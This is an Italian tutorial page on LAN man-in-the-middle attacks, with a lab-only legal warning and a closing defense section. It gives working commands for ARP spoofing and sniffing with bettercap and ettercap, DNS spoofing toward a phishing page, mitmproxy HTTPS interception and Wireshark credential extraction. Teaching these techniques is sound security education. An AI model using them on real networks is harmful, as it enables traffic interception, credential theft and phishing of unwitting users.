Home › Rete & Wireless › MITM & Sniffing

Man-in-the-Middle & Sniffing

Mettersi "in mezzo" al traffico di una LAN per intercettarlo o modificarlo. Qui: come funziona davvero e come si fa, passo per passo.

Solo sulla TUA rete o in lab. Intercettare traffico altrui è reato (art. 617-quater c.p.). Usa la tua LAN, VM o le room indicate in fondo.

Come funziona: ARP e ARP spoofing

In una rete locale i dati non viaggiano per "indirizzo IP" ma per indirizzo MAC (l'ID fisico della scheda di rete). Per sapere "a quale MAC corrisponde questo IP?" i dispositivi usano il protocollo ARP:

  1. Il PC vittima vuole parlare col router 192.168.1.1 ma non sa il suo MAC.
  2. Manda in broadcast: ARP Request "chi ha 192.168.1.1?"
  3. Il router risponde: ARP Reply "sono io, MAC = aa:bb:cc...".
  4. La vittima salva la coppia IP↔MAC nella sua ARP cache.

Il difetto: ARP non ha autenticazione. Chiunque può mandare Reply non richieste (gratuitous ARP) e il destinatario le crede. Nell'ARP spoofing / poisoning tu mandi:

  • Alla vittima: "192.168.1.1 (il router) sono io" → il tuo MAC.
  • Al router: "192.168.1.50 (la vittima) sono io" → il tuo MAC.

Risultato: entrambi mandano i pacchetti a te. Tu li leggi/modifichi e li inoltri al vero destinatario: sei in mezzo. La vittima non nota nulla perché la connessione continua a funzionare.

Questo è un attacco di Layer 2 (rete locale). Non attraversa router: funziona solo nella stessa LAN/WiFi della vittima.

Passo 0 — abilita l'IP forwarding

Perché la vittima resti connessa mentre spii, il tuo PC deve inoltrare i pacchetti che riceve. Senza questo, tagli fuori la vittima (che è un DoS, non un MITM):

sudo sysctl -w net.ipv4.ip_forward=1
# verifica (deve dare 1)
cat /proc/sys/net/ipv4/ip_forward

(Bettercap ed Ettercap lo attivano da soli, ma è bene sapere cosa fanno.)

Bettercap — attacco completo passo passo

Bettercap è il framework moderno di riferimento. Avvialo sull'interfaccia della LAN:

sudo bettercap -iface eth0

Dentro la console interattiva:

# 1) scopri gli host della rete (scansione ARP continua)
net.probe on
net.show                              # tabella host: IP, MAC, vendor

# 2) scegli il bersaglio (un TUO dispositivo) e avvia l'ARP spoof
set arp.spoof.targets 192.168.1.50
set arp.spoof.fullduplex true          # avvelena sia vittima che gateway
arp.spoof on

# 3) cattura il traffico e cerca credenziali/URL/DNS
set net.sniff.verbose true
net.sniff on

Da qui vedi in tempo reale URL visitati, richieste DNS e credenziali su protocolli in chiaro. Per l'interfaccia grafica web:

# attiva la UI web (poi apri http://127.0.0.1)
sudo bettercap -iface eth0 -caplet http-ui
Un "caplet" è uno script di comandi bettercap. Puoi scriverti la sequenza sopra in un file .cap e lanciarla con -caplet file.cap.

Ettercap — il classico

Più vecchio ma semplice. Da riga di comando, MITM tra vittima e gateway:

# -T testuale, -q quiet, -M arp mitm, target1 // target2
sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.50// /192.168.1.1//

La sintassi target è /IP/MAC/PORTE: lasciando vuoto prendi tutto. C'è anche la GUI: sudo ettercap -G → Hosts → Scan for hosts → aggiungi Target 1 (vittima) e Target 2 (gateway) → Mitm → ARP poisoning.

DNS spoofing (redirigere un sito)

Una volta in mezzo, puoi falsificare le risposte DNS: quando la vittima chiede sito.com, le rispondi col tuo IP (es. una pagina di phishing sul tuo server). Con bettercap:

set dns.spoof.domains sito.com,*.sito.com
set dns.spoof.address 192.168.1.66      # il TUO IP (dove gira la pagina)
dns.spoof on

Serve avere l'ARP spoof già attivo (altrimenti non intercetti le query DNS). È la base delle demo di phishing in LAN.

mitmproxy — intercettare HTTP/HTTPS

Come funziona: mitmproxy si mette come proxy; per l'HTTPS genera al volo un certificato firmato dalla sua CA. Se installi quella CA sul dispositivo (o è un tuo device di test), puoi leggere anche il traffico cifrato.

# avvia il proxy interattivo (porta 8080)
mitmproxy
# sul dispositivo di test: imposta proxy = IP_kali:8080
# poi visita http://mitm.it dal device e installa il certificato CA

Modificare il traffico al volo con uno script Python:

# script.py — aggiunge un header a ogni risposta
def response(flow):
    flow.response.headers["X-Test"] = "mitm"

mitmproxy -s script.py

Per il testing di app web col browser, l'equivalente più usato è Burp Suite (stesso principio: proxy intercettante). Vedi Web Hacking.

Analisi con Wireshark — estrarre credenziali

Mentre sei in mezzo, cattura con Wireshark e analizza. Display filter utili:

http                          # solo HTTP
http.request.method == "POST" # invii di form (login!)
ftp                           # FTP: USER/PASS in chiaro
telnet                        # Telnet: tutto in chiaro
ip.addr == 192.168.1.50       # solo la vittima
tcp.port == 80 && frame contains "password"

Leggere una conversazione: tasto destro su un pacchetto → Follow → TCP Stream: ricostruisce l'intero scambio (es. vedi username e password inviati in un POST HTTP).

Estrarre file trasferiti: File → Export Objects → HTTP per salvare immagini/documenti passati in chiaro.

Fai partire la cattura, poi dal dispositivo vittima fai un login su un sito HTTP di test: in Wireshark ritrovi le credenziali nel POST. È l'esperimento che spiega meglio "perché HTTPS".

E l'HTTPS? (aspettative realistiche)

Con l'ARP spoofing vedi che c'è traffico verso un sito HTTPS, ma non il contenuto: è cifrato end-to-end. Le vecchie tecniche di SSL strip (forzare la vittima su HTTP) oggi falliscono sui siti seri grazie a HSTS (il browser rifiuta il downgrade) e alla preload list. Leggere l'HTTPS richiede o un certificato installato sul device (come mitmproxy in lab) o vulnerabilità specifiche. Tool come Evilginx2 aggirano il problema facendo da proxy trasparente al login reale per rubare cookie di sessione (bypass 2FA) — tecnica avanzata, tipica del phishing mirato.

Difesa

  • HTTPS + HSTS ovunque; VPN su reti WiFi non fidate (cifra tutto sopra la LAN).
  • Dynamic ARP Inspection (DAI) + DHCP snooping sugli switch gestiti: bloccano le ARP reply false.
  • Port security e segmentazione in VLAN: riduce chi può parlare con chi.
  • Monitoraggio: un MAC che risponde per più IP, o troppe gratuitous ARP, è un segnale. Tool come arpwatch allertano.
  • Voci ARP statiche per gateway critici.
Sui tuoi libri: Wireshark for Security Professionals, Network Attacks and Exploitation, The TCP-IP Guide, Hacking Exposed – Network. Vedi Risorse.